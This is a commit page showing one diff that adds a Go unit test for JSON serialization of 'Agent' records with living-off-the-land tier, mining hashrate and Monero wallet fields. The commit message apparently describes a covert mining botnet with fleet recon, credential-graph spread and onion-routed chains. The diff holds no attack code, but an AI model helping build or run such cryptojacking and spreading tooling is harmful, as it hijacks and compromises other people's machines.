Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -159,6 +159,38 @@ func TestBuildRecordJSONRoundTrip(t *testing.T) {
|
||||
})
|
||||
}
|
||||
|
||||
func TestAgentLotlFieldsJSONRoundTrip(t *testing.T) {
|
||||
agent := Agent{
|
||||
ID: "lotl-1", Name: "tier-node", Status: "online",
|
||||
LOTLTier: "cpu_inprocess",
|
||||
MiningHashrate: 850.5,
|
||||
LOTLAttempts: []struct {
|
||||
Tier string `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
}{
|
||||
{Tier: "container", OK: false, Error: "docker missing", DurationMs: 400, Wallet: "xmr-wallet"},
|
||||
{Tier: "cpu_inprocess", OK: true, DurationMs: 1200, Wallet: "xmr-wallet"},
|
||||
},
|
||||
}
|
||||
b, err := json.Marshal(agent)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var out Agent
|
||||
if err := json.Unmarshal(b, &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if out.LOTLTier != "cpu_inprocess" || out.MiningHashrate != 850.5 {
|
||||
t.Fatalf("lotl fields lost: %+v", out)
|
||||
}
|
||||
if len(out.LOTLAttempts) != 2 || !out.LOTLAttempts[1].OK {
|
||||
t.Fatalf("attempts=%+v", out.LOTLAttempts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentMinimalJSON(t *testing.T) {
|
||||
var out Agent
|
||||
if err := json.Unmarshal([]byte(`{"id":"x","status":"offline"}`), &out); err != nil {
|
||||
|
||||
Reference in New Issue
Block a user